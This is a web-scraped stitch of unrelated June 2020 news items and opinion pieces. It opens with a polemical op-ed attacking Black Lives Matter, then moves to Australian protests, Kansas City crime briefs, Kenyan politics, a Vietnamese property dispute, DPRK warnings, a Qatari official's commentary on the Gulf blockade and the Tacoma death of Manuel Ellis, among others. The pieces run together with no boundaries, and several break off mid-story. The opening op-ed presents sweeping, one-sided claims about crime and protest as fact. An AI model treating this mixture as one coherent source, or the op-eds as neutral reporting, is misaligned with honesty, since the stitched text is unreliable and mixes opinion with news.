"Black Lives Matter" is the slogan, the mantra, that the media, Hollywood, and all their ilk have adopted with an almost religious fervor. Men and women who have the temerity to call themselves journalists are spewing lies and fairy tales about black men being hunted in the streets by the police. The sad fact is that there is a horrifying epidemic of black men being gunned down and stabbed in the streets, but the perpetrators are not the police. They are other black men. On any given weekend in Chicago, Baltimore, Detroit, and across the nation, black men are killing each other over drugs, gang territory, and other such worthless pursuits. What does BLM have to say about those killings? They say nothing, of course. Instead, they demand that there be a reduced police presence in minority neighborhoods.

Those of us who are still in possession of our sanity read with horror the news of David Dorn's slaying by looters in St. Louis, and of the murder of Dave Patrick Underwood in Oakland. They were both black men. They were killed for nothing, by senseless mobs. Where are their protests?

Where is the widespread outrage over the minority owned businesses that have been vandalized, looted, and burned to the ground? Those businesses aren't coming back. As the owners and employees watched their stores go up in flames, they were also watching their livelihoods burn. The people who live in those neighborhoods are also losing places to shop, eat and congregate. The mobs burn poor neighborhoods, and then BLM and their sycophants will have the gall to complain about "food deserts", and how there aren't any stores in low-income areas.

It is distressing to see how such a large swath of America has lost its perspective. When a black person throws a brick through a store window and steals a pair of Nikes, our media and politicians are quick to explain that this is entirely moral because of "oppression" and "injustice". Will those thieves and their apologists ever stop to think about where those shoes came from in the first place? Because while they are screaming about being "oppressed", a poor Chinese woman in a sweatshop is busily sewing those shoes and thousands of identical pairs for 30 cents an hour. Who is the real victim here?

It is also amazing to witness the mass amnesia that has gripped the country. The media and radical leftists are quick to blame the violence in our streets on Antifa. Yes, Antifa is certainly responsible for some of the mayhem. But are they willingly closing their eyes to the history of the BLM movement? For years, every time and place this group gets together, it devolves into chaos. Has the entire country forgotten about the riots in Ferguson and Baltimore? How about the Dallas police officers who were executed in the street? Peaceful protestors, indeed.

The rioters throng the streets claiming oppression and inequality. They bandy about the phrase "white privilege". The fact of the matter is, yes, whites in this country are privileged, and so is everyone else. We live in splendor, surrounded by creature comforts, almost unknown by large swaths of the world. To those screaming and whining about being "oppressed", why don't you visit the favelas of Brazil, or the slums of Bangladesh, or tour Sudan or Somalia or North Korea? When you return, please, tell the rest of us all about "oppression" in this country.

America is "racist" and "bigoted", as our ruling class likes to opine. Yet this attitude flies in the face of reality. If America is truly the racist hellscape that the elites claim it is, why do millions of Hispanics attempt to flee here from Central America every year? Why do millions of others (mostly non-white) legally migrate to this country? Neither of those are easy prospects. The Nicaraguan who travels here on foot is literally taking his life into his hands. The Ethiopian who legally migrates here probably spent years working his way through the system. Why would either of them put in the effort if the place they are coming to is going to be bigoted and prejudiced against him?

It is truly a sad day when millions around the world can recognize the splendor and beauty of America, yet so many of her citizens are willfully turning a blind eye to what she has to offer.

Image credit: Pixabay public domain
Sydney, June 5 : Australian police on Friday sought to stop a Black Lives Matter protest from going ahead in Sydney this weekend, saying it poses coronavirus health risks.

About 10,000 people have expressed interest in attending the rally on Saturday in the city centre in solidarity with US protesters and to express anger about indigenous deaths in Australian custody, reports the BBC.

Organisers have told attendees to wear face masks and personal protective equipment (PPE), and to try and maintain distance from others.

But New South Wales (NSW) Police and the state government had asked the Supreme Court of NSW to have the protest "deemed illegal". A verdict is expected later Friday.

State Premier Gladys Berijiklian said the protest had been approved initially, but the rise in probable attendees had raised concerns about social distancing.

"This is because the protesters could not guarantee adherence to the health orders. They could not guarantee safe social distancing," she added.

NSW has allowed many businesses to reopen, outdoor gatherings of 50 people to go ahead, and encouraged local travel as the country was slowly lifting its coronavirus lockdown restrictions.

Since the killing of African-American man George Floyd in the US, Australians have protested against their own country's disproportionate number of black deaths in custody, said the BBC report.

Demonstrations have already been held in cities including Sydney, Brisbane, Perth and Canberra.

Police in Melbourne have urged people not to attend a planned protest there, pleading with organisers to cancel the event and threatening to issue fines. However, in Brisbane and Adelaide, protests have received police approval.

Meanwhile, Prime Minister Scott Morrison criticised the protests on Friday, saying "don't go".

"Let's find a better way and another way to express these sentiments, rather than putting your own health at risk, the health of others at risk," he said.
Well Deserved Kansas City Cameraman Tribute

Family of slain photographer remembers how he lived KANSAS CITY, MO (KCTV) -- A Kansas City photographer was shot and killed after Sunday night's protests. Police said he was shot by three men during a robbery at Warwick Boulevard and E. 46th Street, about two blocks from where demonstrators were at. "(George Floyd) should have never died," Missouri Governor Mike Parson said on Thursday.

Masked Sleaze Scummit Crook Caught On Camera

Man sought after break in at Lee's Summit car wash Lee's Summit police are looking for a man who broke in The Wash KC on Northwest Sloan.

KCK Killing Overnight

Man dead in shooting on Barnett Avenue, KCK police say KANSAS CITY, Mo. - Kansas City, Kansas, police were investigating after one man was killed in a shooting on Thursday night. Around 7:50 p.m., officers responded to the shooting in the 3400 block of Barnett Avenue. A man was found dead with an apparent gunshot wound, according to police.

Metro Homicide Redux

Man once imprisoned in relation to KCK officer's death now charged in Independence murder INDEPENDENCE, MO (KCTV) -- A man convicted of an aggravated assault at the scene of the 2016 shooting death of Kansas City, Kansas police Capt. Dave Melton is now in the Jackson County Jail, charged with murder in a shooting and crash from last week.

Jackson County Prosecutor Shares Accountability Tech

New website launched for reports of police misconduct, excessive force JACKSON COUNTY, MO (KCTV) -- The Jackson County Prosecutor's Office has launched a new website where people can report police misconduct or excessive use of force. The page can be accessed here. "We have heard an outpouring of concern about police conduct related to the recent protests in Kansas City," Prosecutor Jean Peters Baker said.

Here's just a quick recap of some of the recent, complaints, violent tragedies and police reports we've been following . . .Developing . . .
Since the pandemic, Lloyd has had to trim his kitchen staff from almost 100 to 14 workers. Dont expect to find the Eiffel-size menu Le Diplomate served in more carefree days. Still, whats left includes plenty to like, with everything based on original recipes. We want to do it right, he says. Any order is better with a box of light cheese puffs and one of the best pieces of meat in recent memory, pleasantly ropy beef cooked the color you want and framed in french fries. Toasted slivered almonds carpet sweet-fleshed trout, propped up on a raft of green beans that retain some snap and smack of summer. The best way to dispatch chicken breast pounded to plate-size? In a pizza box, Le Diplomate discovered. Bronzed chicken Milanese is enhanced with a charred lemon half and add-ons of peppery arugula, grated cheese and tiny tomatoes packed separately from the hot entree.
Protesters attending a Black Lives Matter rally in Melbourne have threatened to physically abuse and spit at police.

Activists are threatening to use confronting tactics which could provoke Victoria Police to use force on demonstrators during the Black Lives Matter event on Saturday.

Officers are preparing for all strategies from protesters in order to prevent any police brutality and physical confrontation, a senior government source told The Age.

Black Lives Matter protesters march towards Parliament House in Canberra, Australia, 05 June 2020

The Australian Communist Party organised a protest in memory of George Floyd and to highlight Aboriginal rights issues and the black lives matter campaign

Warriors of the Aboriginal Resistance organised the protest and insist they are unaware of activists threatening police.

'This is the first I've heard of it,' Tarneen Onus-Williams said.

'We have not condoned spitting, we don't want to put the public at risk or those participating. We want to keep everyone safe.'

The event calling for an end to Aboriginal deaths in custody could see up to 18,000 people gathering outside Victoria's Parliament House on Saturday.

The planned protest comes as rallies about police violence against black Americans are being held across the US in the wake of George Floyd's death while being arrested by Minneapolis police.

Victoria's Chief Health Officer Brett Sutton on Friday advised Victorians not to attend the protest due to coronavirus, claiming it was not the time to be at a mass gathering.

He acknowledged transmission levels in the state were at extremely low levels, but notes the chances of the virus spreading are higher in a crowd.

'There are other ways to express your passion and feelings and protests that don't involve coming together, you know, in a setting that provides a public health risk,' Prof Sutton said.

'I understand the passions that people will have in relation to this and the desire to protest, but my focus has always been on the health and wellbeing of people and that includes for the protesters themselves.'

Premier Daniel Andrews has also acknowledged how strongly people feel about the issue, he's also asked people not to protest because of coronavirus risks

Police prepare to make dozens of arrests as demonstrations continue in Manhattan over the killing of George Floyd by a Minneapolis Police officer on June 3

Organisers are doing what they can to help minimise health risks and are working with health services to distribute masks and hand sanitiser before and during the event.

They have also encouraged protesters to self quarantine for a few weeks afterwards.

'The risk is great, I don't deny that. I am an at-risk person,' Indigenous academic Marcia Langton told ABC Radio.

'I do appeal to everybody to wear masks and social distance at the protest. But at the same time, every time an Aboriginal person goes out on the street we are at risk.'

Premier Daniel Andrews has also acknowledged how strongly people feel about the issue, he's also asked people not to protest because of coronavirus risks.

Victoria Police plan to exercise discretion when fining people for any breaches of COVID-19 restrictions at the event.

A protester vandalizes an NYPD van near Union Square on May 30, 2020 in New York City

Officers would 'exercise their discretion, as we always do, proportionate to the circumstances we find ourselves having to contend with'.

'We are very conscious of the need to conduct our policing operations in a way which de-escalates sources of conflict, keeps people safe and prevents incitement of violence and aggression,' it said in a statement on Friday.

Prime Minister Scott Morrison expressed his concern that the rallies will undo all the hard work as the country continues to battle through COVID-19.

'Australians have worked incredibly hard in recent months and have undergone great sacrifices to protect the health of the most vulnerable and that does include our indigenous communities,' he told reporters in Canberra.

'All Australians owe all those other Australians a great duty of responsibility, and I say to them: 'Don't go'.'

Thousands are expected at protests in Canberra on Friday as well as in Sydney, Melbourne, Brisbane, Adelaide and Hobart on Saturday.

The NSW state government has endorsed the protests, with premier Gladys Berejiklian urging participants to maintain social distancing.

But NSW police are trying to challenge the protests and put a limit on how many people can attend.
For Subscribers Farmers concerned about chemical costs, supply issues heading into 2022

Higher fertilizer and chemical costs are on the minds of farm groups as they look toward spring planting.
- The picture of the billboard went viral on Thursday, June 4, drawing attention and anger

- The signpost was erected at Konyu ward indicating Nyeri county government had proposed project to build a pit latrine at Kahara ECDE centre

- Nyeri deputy governor Caroline Karugu condemned her boss for what she termed as an "extremely unfortunate and ill advised thing to do"

- In April, Governor Kahiga also found himself on the receiving end after he branded sanitisers donated by the national government with his photos

Nyeri governor Mutahi Kahiga and Konyu ward MCA Koru Mwangi are under fire for erecting a massive pit latrine billboard with their portraits on it.

The county residents and Kenyans at large were left perplexed by the action stating it was a complete waste of public funds besides being a "cheap publicity stunt".

READ ALSO: Ousted majority whip Benjamin Washiali says he does not regret his removal from Jubilee leadership

The picture of the billboard made rounds on social media on Thursday, June 4 irking Kenyans. Photo: UGC.

Source: UGC

READ ALSO: Jacky Vike aka Awinja shares lovely video of grown son as he turns 3

The picture of the billboard went viral on Thursday, June 4, drawing attention and anger as Kenyans claimed leaders were "desperate" in their bid to popularise themselves even with a small project.

The billboard which irked citizens was erected at Konyu ward as a signpost for a Nyeri county government's proposed project to build a pit latrine at Kahara ECDE centre.

Nyeri Governor Mutahi Kahiga speaking at a past event. Photo: Mutahi Kahiga.

Source: Facebook

READ ALSO: Polisi wamsaka MCA aliyetagusana na mgonjwa wa COVID-19 kisha akatoroka

Here were some of the reactions by netizens:

Nyeri deputy governor Caroline Karugu condemned her boss for what she termed as an "extremely unfortunate and ill advised thing to do".

"I wish to disassociate from these persistent cheap publicity stunts and I consider them extremely unfortunate and ill advised. Even the mere contemplation of such stunts is a total abuse of the intelligence of the people of Nyeri county," she wrote on her Facebook page.

"That they are building a pit latrine for the ECDE centre is not a bad thing in itself. Although I would have proposed Asian toilets with a septic tank. Nyeri has enough water. But that a governor and MCA insist that their faces appear on this board for such a project is absurd," Martin Thairo said.

"Erecting a billboard to announce the construction of a pit latrine in an ECDE thinking face. Nyeri Governor Mutahi Kahiga is on a whole new level. What is wrong with our leaders?," Moham Junior posed.

"Nyeri governor and a ward MCA have erected a board with their photographs for construction of a pit latrine. And you tell me we will make it?,"Beau Kariuki wondered.

"Kahiga is an erratic governor with a streak of wastage and misplaced priorities! How the hell can he erect a whole billboard on a paltry project of a pit latrine,"Biang Gweng was baffled.

"This is why those Americans were calling us a remote village in Kenya," Oliver Mathenge opined.

In April, the governor also found himself on the receiving end after he branded sanitisers donated by the national government with his photos.

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Source: Xinhua| 2020-06-06 01:17:28|Editor: huaxia

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ISTANBUL, June 5 (Xinhua) -- Turkish people on Friday staged a protest in Istanbul against the killing of an unarmed black man in the United States last week.

The crowd gathered in front of the Trump Towers in the Sisli district of the European side of the largest Turkish city, chanting slogans against the killing of George Floyd by a police officer in Minneapolis, Minnesota, on May 25.

Protesters carried banners, which read: "Long live international solidarity," "Black lives matter," and "Justice for George Floyd."

In a press release, they expressed solidarity with the people in the United States, demanding justice for the murder.

"The killing of George Floyd is not an isolated incident. On the contrary, it is the result of institutional racism in the U.S.," the release said.

Several protesters wrote Floyd's last words "I can't breathe" over their facial masks.

On Thursday, a group of people had held a demonstration in front of the U.S. Consulate in Istanbul. Enditem
Despite second home and holiday property being assessed as a top-quality segment for both investors and developers, disputes remain due to the lack of a legal framework.

Buyers must consider a developers prestige, financial capacity, and the legal status of each project. Photo: Thanh Nguyen

A recent conflict between Thanh Do Investment Development and Construction JSC (Empire Group) and buyers of Cocobay Danang project has become an example of the problem at hand, with a solution required in order to ensure the rights of both developers and buyers.

Last week, 400 buyers from Cocobay Danang gathered to express their disagreement about the options Empire Group offered them to solve the dispute.

At the end of 2019, Empire Group refused to pay a committed rental yield of 12 per cent to its buyers starting from January 1, claiming a low occupancy of visitors.

Developers of Cocobay Danang are not expected be able to hand over units to buyers at the committed deadline, which was set to the end of 2020, blaming the delayed process and refusal of rental yield on the current global health crisis.

Empire Group had created a fever in the market in 2016 when it announced a decision to pay a rental yield of 12 per cent in the first eight years for its condotel buyers. Cocobay is one of the biggest condotel projects in Vietnam, located across 31 hectares of land in Danang with investment capital declared at VND11 trillion ($480 million).

This project has been mired in difficulties since the end of 2017 when a range of construction processes was pushed behind schedule and the handover deadline was delayed. After that, Empire Group surprisingly announced a U-turn on paying the committed yield. While many options were offered to buyers, none were satisfactory and the dispute continues to rumble on.

The case of Empire Group is only one among many different issues in the real estate market due to the lack of regulations and overlapping laws.

The biggest obstacle currently, according to industry insiders, is the requirement for completing the legal framework for holiday property, especially for condotels.

The key factor of holiday property was benefit-sharing, with buyers mostly considering holiday property to benefit when taking the property into lease, and keeping it as an asset.

However many buyers have fallen on hard times after paying the whole value but being refused access to the property, along with rental yields not being paid as committed.

Experts warned that before investing into holiday projects, buyers must be careful in developers prestige and financial capacity, as well as the legal status of each project.

With more than 30,000 condotel units in the nation excluding thousands of resort villas and officetels, holiday property has much room for growth in line with the development strategy for tourism of Vietnam.

According to lawyer Nguyen Thanh Ha from SBLaw, to wipe out disputes in the real estate market in general and in holiday property in particular, it needs to improve the legal framework covering this segment.

We know that the regulations for condotels were mentioned in the legal framework; however, we need more detail in order to avoid any disputes raised later, Ha said.

Ha pointed to regulations on sharing benefits between developers and buyers, the fines if one side breaks the commitment, and the methods in place to force them to obey regulations.

Chau Viet Bac, deputy general secretary of the Vietnam International Arbitration Centre (VIAC) commented that refusal to pay committed rental yield and delay in house handovers are two most common issues in the real estate market.

Also at play are a range of battles caused by developers who had delayed the handover deadline, and the quality of property as previously committed in the contracts.

Over recent years many strikes have occurred in both pipelined and operated projects between developers, management boards, and their residents.

Figures from the VIAC said that 45 dispute dossiers were submitted to the organisation in the first nine months of 2019, four times higher than the previous year.

Disputes related to real estate market started mostly from the lack of legal regulations and the overlapping between laws and decrees, as well as the refusal to commitment from both developers and buyers, Bac said.

Ngoc Anh

Khanh Hoa warns about illegal sale of tourism property to foreigners The Khanh Hoa Province Department of Construction has warned over the illegal sale of tourism properties to foreigners, asking project developers to comply with the established laws.
WASHINGTON - The attorney general for Washington, D.C., pressed the Trump administration and several state governments Thursday to justify the legality of their decision to send a growing contingent of National Guard troops to the nations capital in the wake of street protests.

D.C. Attorney General Karl Racine said in letters sent Thursday that he was reviewing the legality of aspects of the federal governments response to the George Floyd protests in the city.

In letters sent to Attorney General William Barr, Defence Secretary Mark Esper and White House Chief of Staff Mark Meadows, Racine said the districts government has received very little information about the legal basis for these entities presence.

In all of the letters, Racine asked the federal and state authorities to explain the legal authority for the deployments, the troops mission and whether they have been given the authority to make arrests.

On Tuesday, the day after U.S. Park Police and other federal law enforcement swept protesters away from the White House with pepper projectiles and aggressive force, D.C. Mayor Muriel Bowser decried President Donald Trumps boast that his use of Guardsmen in the capital would dominate the streets.

I dont think that the military should be used on the streets of American cities against Americans, Bowser said. And I definitely think it shouldnt be used for a show.

At least 5,000 Guard members were initially activated last weekend, the National Guard Bureau reported at the time, and hundreds more troops have been deployed to the district over the past several days. The troops have been used for security at the White House and at federal monuments and installations across the district.

National Guard troops were sent by Indiana, New Jersey, Maryland, South Carolina, Missouri, Florida, Tennessee and Utah. Racine sent letters to governors of all of those states, along with other states that were reportedly asked to send troops: New York, Virginia, Delaware, Illinois and Pennsylvania.
Howrah: Clashes took place between BJP and Trinamool Congress (TMC) workers in Howrah late Thursday (June 4, 2020) night which left several people injured, while four persons are said to be in critical condition.

The incident took place at P N Ghosh road in Howrah district under the Bali police station limits. The clashes were sparked by a family dispute which quickly turned violent with people from both sides sustaining severe injuries.

The police also had to resort to lathicharge to bring the situation under control. A large number of police and RAF personnel have been deployed in the area.

Later, people gathered outside the Bali police station and started demonstrating, after which another quarrel started between the BJP workers and the police. During the uproar, BJP workers started raising Jai Shri Ram slogans. Police resorted to lathicharge again and detained around 20 BJP and Trinamool volunteers.

Both sides have lodged a complaint at the police station and the matter is being investigated.

TMC has alleged that BJP workers were operating a liquor shop in the area and when they opposed, the BJP workers attacked them.

However, the BJP workers say that it was a small family dispute, which took a political color. They claimed that Trinamool activists called their goons and attacked BJP workers.
DPRK warns S. Korea against sending anti-Pyongyang leaflets

People's Daily Online

(Xinhua) 13:19, June 04, 2020

PYONGYANG, June 4 (Xinhua) -- A senior official of the Democratic People's Republic of Korea (DPRK) has threatened to scrap the military agreement with South Korea unless Seoul stops sending anti-Pyongyang leaflets across the demilitarized zone, the official Korean Central News Agency (KCNA) reported on Thursday.

Kim Yo Jong, sister of top DPRK leader Kim Jong Un and the first vice department director of the Central Committee of the Workers' Party of Korea, on Thursday issued a statement warning against the senseless act of scattering anti-DPRK leaflets in the frontline areas by "defectors from the north," said the report.

"On May 31 I heard a report that so-called "defectors from the north" scattered hundreds of thousands of anti-DPRK leaflets into the areas of our side..." Kim Yo Jong said in the statement.

"The South Korean authorities must be aware of the articles of the Panmunjom Declaration and the agreement in the military field in which both sides agreed to ban all hostile acts, including leaflet-scattering in the areas along the Military Demarcation Line," said the statement.

Before long the nation is to commemorate the 20th anniversary of the June 15 joint declaration, it said, warning that "if such an act of evil intention committed before our eyes is left to take its own course under the pretext of 'freedom of individuals' and 'freedom of expression,' the South Korean authorities must face the worst phase shortly."

The statement also warned that the North will completely withdraw from the Kaesong industrial project and shut down the joint liaison office in the North's border city, unless Seoul stopped such actions.

The North-South relationship warmed up in 2018 when their leaders held three meetings on inter-Korean cooperation. But the cooperation stalled after Kim Jong Un failed to reach an agreement with U.S. President Donald Trump during their meeting in Hanoi, Vietnam, in 2019.

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Ethos Cannabis has officially launched a clinical research partnership with the Sidney Kimmel Medical College at Thomas Jefferson University in Pennsylvania.

This development makes Ethos the first operational company to receive this license, as well as the holder of one of only eight statewide Clinical Registrant (CR) licenses.

These licenses are issued to operators that are partnered with one of Pennsylvanias major university health institutions. The research at Jefferson is fully funded by Ethos, a multi-state cannabis company based in Philadelphia. The goal is to determine which types of cannabis are the most effective for specific ailments, and which dosages provide effective treatment.

Ethos Cannabis CEO Teddy Scott told Benzinga he felt honored to announce the partnership with Thomas Jefferson University.

Receiving this CR license is the end result of years of work behind the scenes by both parties. And the research that we will now be able to accomplish as a result will be a game-changer in regards to elevating our city as a center for serious cannabis research, he said. We already have several hundred patients that have pre-enrolled at our Philadelphia dispensary to get this program started.

See more from Benzinga

 2020 Benzinga.com. Benzinga does not provide investment advice. All rights reserved.
German Foreign Minister Heiko Maas is expected to travel to Israel next week to warn that there will be consequences if Israeli leaders move forward with plans to annex parts of the West Bank, Israeli officials and European diplomats tell me.

Why it matters: Israeli and European officials agree that if Israel goes ahead with unilateral annexation, the EU will respond with sanctions.

Starting from July 1st  coincidentally, the deadline set by Prime Minister Benjamin Netanyahu to begin the annexation process  Germany will assume the EU's rotating presidency.

Germany will also preside at the UN Security Council in July, and thus would play a key role in the European and international responses to annexation.

The backstory: The coalition agreement that allowed Netanyahu to form his new government says he can bring "the understandings with the Trump administration" on annexation up for a vote in his Cabinet or the Knesset as early as July 1  but only with the full agreement of the White House and after consultation with Israels allies in the EU.

Maas will arrive in Israel on Wednesday as the guest of the new Israeli foreign minister, Gabi Ashkenazi.

He is expected to also meet Netanyahu and Minister of Defense Benny Gantz.

Maas will deliver two messages, Israeli officials and European diplomats tell me.

Israel is extremely important for Germany and it wants to strengthen the alliance.

But, Germany is strongly against any steps toward unilateral annexation, and such moves could damage Israels relations with Germany and the EU.

Between the lines: The German government is concerned that this issue could force it to choose between its alliance with Israel and its respect for international law and Europe's longstanding positions and principles.

Maas is expected to ask his Israeli counterparts not to put Germany in such a tough spot and warn that if pushed, Germany will support international law.

Maas spoke about his concerns over annexation recently with U.S. Secretary of State Mike Pompeo. He has also discussed the issue with Jordan's foreign minister and the Palestinian prime minister.

Whats next: Several days after Maas returns from Israel, the foreign ministers of all EU member states will convene for a meeting that will include discussion of the annexation issue.

The bottom line: Germany's ultimate goal is to avoid an international standoff and find a way back to negotiations involving both the Israelis and Palestinians.

Go deeper: U.S. and Israel huddle on annexation a month out from deadline
The blockading countries are trying to reverse the gains made in the region during the Arab Spring.

Khalid Fahad Al-Khater is the Director of Planning and Policy Department at the Ministry of Foreign Affairs of Qatar.

On June 5, 2017, Saudi Arabia and the United Arab Emirates, with the support of Egypt and Bahrain, imposed an air, land and sea blockade on Qatar. As part of the blockade, the quartet not only severed diplomatic ties with Qatar, but also embarked on a global diplomatic and media campaign against the country. On its third anniversary, it is important to revisit the reasons behind this move.

On June 23, 2017, the four blockading countries issued a list of 13 demands to end the crisis. The list included stipulations that Qatar shut down the Al Jazeera network and end contact with organisations such as the Muslim Brotherhood. In reality, Qatar does not host or support any transnational political organisations or networks, unlike some of the blockading countries.

The ultimatum issued by the blockading quartet echoed the 1914 ultimatum presented by the Austro-Hungarian Empire to Serbia which asked the country to suppress all anti-Austrian propaganda and take steps to root out and eliminate terrorist organisations within its borders. At the time, the British cabinet and Prime Minister Winston Churchill had concluded that it was absolutely impossible that the demands would be accepted or that their acceptance would satisfy the aggressors.

In both cases, the real demand was capitulation.

The four blockading countries wanted to force Qatar to capitulate to their vision for the future of the region, which requires the re-establishment of the regional order that was shattered by the Arab Spring in 2011.

The Arab Spring was a counter-narrative to the prevailing order of the day. It broke out spontaneously and sought freedom, new opportunities and a path of progress for the people of the region. Rolling back the consequences of the Arab Spring has been the goal of the blockading countries since 2011.

As part of their efforts to counter the gains made in the region during the Arab Spring, these countries also sought international support. To get states like France, the United Kingdom and the United States on their side, the blockading countries supported the divisive  and at times blatantly Islamophobic  policies in these countries.

Even before their blockade on Qatar, the quartets efforts to re-establish the pre-Arab Spring regional order had caused devastation across the Middle East.

In 2015, they launched a war in Yemen. In 2016, they supported a failed coup attempt against Turkeys government, which created tensions between Ankara and its Western allies and undermined cooperation on other regional issues. In 2017, they not only launched the ongoing blockade on Qatar, but also detained Lebanons prime minister and threatened to attack Lebanese targets. If these attacks had materialised, they would have plunged the region into a major war.

In 2018, the gruesome murder of Saudi journalist Jamal Khashoggi created further political tensions. In 2019, the blockading countries came to the brink of war with Iran. Throughout, citizens of the blockading countries who were suspected of deviating from this narrative were detained, tortured and even murdered.

The blockading countries are trying to sell a promise of progress and liberalisation, sweetened by commercial and security deals, in exchange for international support for their plans to re-establish a vicious, authoritarian regional order. Countries that buy into this narrative, and those who try to present it as progress, are focusing on short-term gains while ignoring the existing sources of discontent and instability. This narrative has been tried and tested over many decades and proved a failure.

An example of this is Tunisia, which has been governed by a most vicious form of liberal authoritarianism for many decades. The suffering this governance model caused in the country only came to an end in 2011, when the regime was toppled as a result of widespread protests. The revolution in Tunisia sparked the Arab Spring and led to the toppling of many other dictators in the region. Despite the odds, Tunisia today is on a path to building political bridges between sectors of the society that have been sharply divided by the legacy of an authoritarian regime that cloaked itself in false liberal values.

The blockading countries are attempting to prevent the region from having a future based on a new, peacefully negotiated social contract that the Arab Spring has shown is possible.

Qatar does not want to be part of such attempts. It has opted for a more meaningful pathway based on measured progress, which allows it to maintain internal balance and recognises the importance of the values its society is based on.

This has allowed it to pursue a balanced path of progress in education, gender and broader development goals. In media, this balanced approach allowed it to create the first Arabic news satellite channel in 1997, which to this day is the most popular channel in the region. Al Jazeera across its network today provides the most diverse views on political and social issues in the region.

In foreign policy, Qatar cultivated a balanced relationship with all countries based on the principles of dialogue, development cooperation and mediation. It advocates bilateral, regional and global partnerships to create a shared and responsible future.

Despite the blockade, Qatar committed $500m last year to support UN projects over the next five years and this year announced $100m to support islands and small states affected adversely by climate change. To counter the coronavirus pandemic, and alleviate its consequences, Qatar has sent medical supplies to 20 countries and contributed $140m to global relief efforts, including $20m for vaccine research.

After COVID-19, the region, more than ever, critically needs a new pathway for a shared and responsible future based on forward-looking partnerships. This can only be created through dialogue between countries of the region and within their societies. Narratives and policies blockading this pathway to the future should not be allowed to stand.

The views expressed in this article are the authors own and do not necessarily reflect Al Jazeeras editorial stance.
- Leadership wrangles continue to rock Ford Kenya even as confusion reigned on who is the bona fide holder of the partys legal instruments

- The Office of the Registrar of Political Parties (RPP) wrote separately to the two warring factions

- It pointed out some of the gaps in the party ownership documents they had separately deposited early in the week

- A faction led by Kanduyi MP Wafula Wamunyinyi and his Tongaren counterpart Eseli Simiyu reported that they had corrected a little anomaly

- The other group led by Bungoma senator Moses Wetangula was jubilant that the registrar had maintained a status quo in the partys leadership

- In his response, the registrar indicated that both factions had committed errors in the filed documents

The Registrar of Political Parties has dealt Ford-Kenya party leader Moses Wetang'ula another blow after nullifying the decision to take disciplinary action against two MPs for misconduct.

The decision was arrived at after the embattled Bungoma senator had chaired a meeting of the partys parliamentary group (PG) and the National Executive Council (NEC).

READ ALSO: George Floyd: Barack Obama asks protesters to make people in power uncomfortable

Wetangula had ben kicked out as Ford Kenya party leader after a decision was arrived during the partys special NEC meeting. Photo: Citizen TV.

Source: Facebook

READ ALSO: 7 American celebrities who traced their roots to Africa

They decided to suspended secretary-general Eseli Simiyu and Kanduyi MP Wafula Wamunyinyi for gross violation of its constitution.

This was after the two were accused of orchestrating an unsuccessful coup against the partys leadership on May 31, 2020.

But in a preliminary ruling, Registrar Anne Nderitu declared that the PG and NEC that suspended the duo was not properly convened and lacked a quorum.

READ ALSO: They have been there for us: Murang'a youth celebrate officers manning Thika road block

Nderitu further noted that Wetangulas team did not submit to her office the statutory form PP7, used to notify the registrar of changes in party officials.

The latest developments mean the senator will have to call another NEC and PG to ratify the changes before resubmitting them.

However, the embattled senator's team said it was still in control of the party.

READ ALSO: Tharaka Nithi: Mentally ill man found alive 13 days after falling into 60ft pit

The registrar reviewed Wamunyinyis submission against relevant laws including the Political Parties Act (PPA). Photo: Daily Nation.

Source: UGC

Simiyus team, on the other hand, said the registrar only asked them to rectify a small anomaly, a missing signature, in the PP7 form they had filed.

The registrar reviewed Wamunyinyis submission against relevant laws including the Political Parties Act (PPA), Ford Kenya Constitution and records of the party in their possession.

"You are kindly guided to address the issue highlighted above within the precincts of your party constitution and in line with section 20 of PPA and apprise us on the same," she said.

READ ALSO: Former Lesotho first lady arrested again over killing of husband's ex-wife

Wetangulas camp on Thursday, June 4, secured an early win in the tussle for the control of Ford Kenya after the Office of the Registrar of Political Parties said the 'coup' in the party had 'gaps'.

Wetangula was kicked out as Ford Kenya party leader after a decision was arrived at on Sunday, May 31, during the partys special NEC meeting at Nairobi's Radisson Blu Hotel.

He was accused of gross misconduct and failing to champion unity in the party and also failing to reconcile warring members to eliminate friction in the party.

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The mayor of Tacoma, Washington, called for the city manager to fire four police officers after the death of a black man in custody was ruled a homicide.

Manuel Ellis, 33, died on March 3 after being handcuffed and restrained by officers. He could be heard on police scanner traffic saying I cant breathe, after he was handcuffed, and he died at the scene, according to NBC News affiliate KING in Seattle.

A Pierce County Medical Examiners Office ruling released this week said Ellis died of respiratory arrest due to hypoxia as a result of physical restraint, KING reported. Contributing factors included methamphetamine intoxication and dilated cardiomyopathy, commonly known as an enlarged heart.

Manuel Ellis (via GoFundMe)

Mayor Victoria Woodards called for the officers' firing at a news conference streamed on Facebook on Thursday. "Today, it stops in Tacoma," Woodards said. "We live in a nation where too many black lives have been lost, and I dont want to see another one,"

Referring to a video that surfaced of the arrest, the mayor said, "As an African American woman, I didnt need a video to believe," she said, adding, "It does take a video for so many people to believe the truth about systemic racism and its violent impact on black lives."

Tacoma is among the many cities across the country that have seen waves of protests sparked by the death of George Floyd in Minneapolis police custody more than a week ago.

The video that appears to show Ellis' detainment was taken by an anonymous passerby from a vehicle and seems to show two officers punching and then slamming a man to the ground.

The footage was posted on social media by the Tacoma Action Collective and contains profanity and images that viewers might find disturbing. NBC News does not know what occurred before the events in the video.

Police have said that two officers encountered Ellis at 11:22 p.m. as he was walking home and allegedly harassing a woman at an intersection.

Story continues

When the officers asked what he was doing, police said Ellis claimed he had warrants and wanted to talk to them. Then Ellis repeatedly struck their patrol car, prompting the officers to call for backup before engaging in a struggle to detain him, police said.

He picked up the officer by his vest and slam-dunked him on the ground, said Ed Troyer, spokesman for the Pierce County Sheriffs Department.

There was a struggle before police got Ellis handcuffed on the ground and officers called for paramedics at 11:25 p.m.

Ellis stopped breathing and lost consciousness within a minute of firefighters' arriving, and he was pronounced dead at the scene. His cause of death was initially listed as pending while medical examiners ran toxicology tests.

The Pierce County Sheriffs Department is investigating the incident and plans to turn the case over to the county prosecutor next week, KING reported.

The four officers involved were initially placed on administrative leave after Ellis death, but were later allowed to continue working. After the medical examiners results were released, the officers were again placed on administrative leave, KING reported.

Tacoma Police Chief Don Ramsdell could not immediately be reached Friday morning to comment on the mayor's call for the officers to be fired.

Ramsdell said in a statement Thursday that the department put the officers on leave while the agency waits for the sheriff's office to complete the investigation."We are committed to the investigative process and the integrity of the findings," the police chief said. "Our hope is that any investigations bring with them answers for everyone involved."

Tacoma police identified the four officers involved in restraining Ellis as Christopher Burbank, Matthew Collins, Masyih Ford and Timothy Rankine.

In a statement sent to NBC News, union representatives expressed concern that a decision was made on the officers fate before the investigation is complete.

